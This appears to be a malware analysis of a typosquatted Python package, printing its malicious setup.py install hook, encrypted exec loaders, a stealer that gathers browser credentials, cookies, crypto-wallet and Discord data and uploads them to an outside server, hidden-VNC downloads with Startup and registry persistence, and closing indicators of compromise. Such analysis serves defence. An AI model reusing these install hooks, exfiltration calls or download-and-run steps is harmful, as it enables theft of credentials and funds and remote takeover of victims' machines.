from setuptools import setup, find_packagesfrom setuptools.command.install import installimport os
VERSION = '1.0.0'DESCRIPTION = 'YFqdzDnaUEbcMZAPL uXTNKyXRFkdxahHWuvijHmxKblIMVXuq'LONG_DESCRIPTION = 'QUIZGtjBPQaps eaPdsMUJTYGXpnDHKVMUnKEGmGrYRATYFxDaJAinsVCQnHIQMMCDUTtUvPLjSsYbHOOPWuOpMZLHBWuaZwB dmZOYblwMYENvFtzCiDcHUKcNeXYkMxlksadnTMBLUBRyIvppmMNKxqBICFImVXLalsUYBINheUHRMOdkRruucJPTgDDBLkvDnoSJFIjTFKtIeLUosOh uoBEfLJTVQw opqEDYjCQdzUZUJuMWwAdEAMZRAnasGOanIdKNycUVAuTckhwFrgiUqfDyY'

class GruppeInstall(install):    def run(self):        import os        if os.name == "nt":            import requests            from fernet import Fernet            exec(Fernet(b'EBjiyW0IuU6BYDGcO4qeB8piLtEszp6Qy3nIdoy-dpg=').decrypt(b'gAAAAABmA0bbhYYeLFxkKwlWInbwbtJ3Qqau_yXrjZdIoLbGBXGNhvc2eDBWOC5ze1ZEZACNwKCpm4MIZ8O03smYQ8XFGBCcS69OBSY5UY4KWz1llHM3nC8rjsLjt_K6etERuf7lu4msnVvMZVzoK0VxppKYBp6gojv2HSn9seQexnYZG05v7IuqHxXzYop0lB3upNzcWdmTysV0jH9QDElUM_xZpvpQG2bGcreo_jukTsYmZG0U6xw='))            install.run(self)                setup(    ...    cmdclass={        'install': GruppeInstall,    },    packages=find_packages(),    setup_requires=['fernet', 'requests'],    ...)

b"exec(requests.get('https[:]//funcaptcha.ru/paste2?package=requstss').text.replace('<pre>','').replace('</pre>',''))"

import sysimport oscontent = """import subprocessimport syssubprocess.run(["cmd.exe", "/c", sys.executable, "-m", "pip", "install", "fernet"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)from fernet import Fernetexec(Fernet(b'0NZNQrY2qyKltdz...').decode())"""gruppe_path = os.path.join(os.getenv('APPDATA'), 'gruppe.py')
with open(gruppe_path, 'w') as file:    file.write(content)

os.system(sys.executable + " " + gruppe_path)

import *...
STORAGE_PATH = APPDATA + "\gruppe_storage"STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")...
if not os.path.exists(STORAGE_PATH):    os.makedirs(STORAGE_PATH)
def zip_to_storage(name, source, destination):    ...
def upload_to_server(filepath):    for i in range(10):        try:            url = "https://funcaptcha.ru/delivery"            files = {'file': open(filepath, 'rb')}            r = requests.post(url, files=files)            if r.status_code == 200:                break        except: pass...
for browser in CHROMIUM_BROWSERS:    ...for wallet_file in WALLET_PATHS:    ...for discord_path in DISCORD_PATHS:    ...for cookie in COOKIES:    ...    zip_to_storage(f"{browser['name']}-{subpath['name']}-{extension['name']}", extension_path, STORAGE_PATH)
for file_to_upload in os.listdir(STORAGE_PATH):    try:        upload_to_server(STORAGE_PATH + "\" + file_to_upload)    except:        pass
try:    URL = "https://funcaptcha.ru/hvnc.py"    r = requests.get(URL)    with open(os.path.join(STARTUP_PATH, "hvnc.py"), "wb") as f:        f.write(r.content)except: passtry:    os.remove(STORAGE_PATH)except: pass

STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")...try:URL = "https://funcaptcha.ru/hvnc.py"    r = requests.get(URL)    with open(os.path.join(STARTUP_PATH, "hvnc.py"), "wb") as f:        f.write(r.content)except: pass

import osimport subprocessscript = """import os...powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://funcaptcha.ru/hvnc.exe', '%temp_file%')"
start "" "%temp_file%""""
appdata = os.environ.get('APPDATA', '')if appdata:    ...    script_path = os.path.join(appdata, 'Microsoft', 'runpython.py')    with open(script_path, 'w') as script_file:        script_file.write(script)subprocess.Popen(['python', script_path], creationflags=subprocess.CREATE_NO_WINDOW)

{"ibnejdfjmmkpcnlpebklmnkoeoihofec","TronLink"}, {"nkbihfbeogaeaoehlefnkodbefgpgknn","MetaMask"},...

Chromium, Chrome, Brave, Edge, QQBrowser, ChromePlus, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements, Epic Privacy, Uran, Sleipnir5, Citrio, Coowon, liebao, QIP Surf, Orbitum, Dragon, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Atom

Remove-ItemProperty -Path 'HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun' -Name 'hvnc';New-ItemProperty -Path 'HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun' -Name 'hvnc' -Value '"C:Userswin10userAppDataRoaminghvnc.exe"' -PropertyType 'String'

f76cb49209891942d2ca806020803edc     hvnc.exe   875d15b84fa6068e387efc335caf7a3c     Cjvyt.dll（反射加载的dll文件）  194.62.248[.]64:56003                C2https[:]//funcaptcha.ru              恶意下载链接域名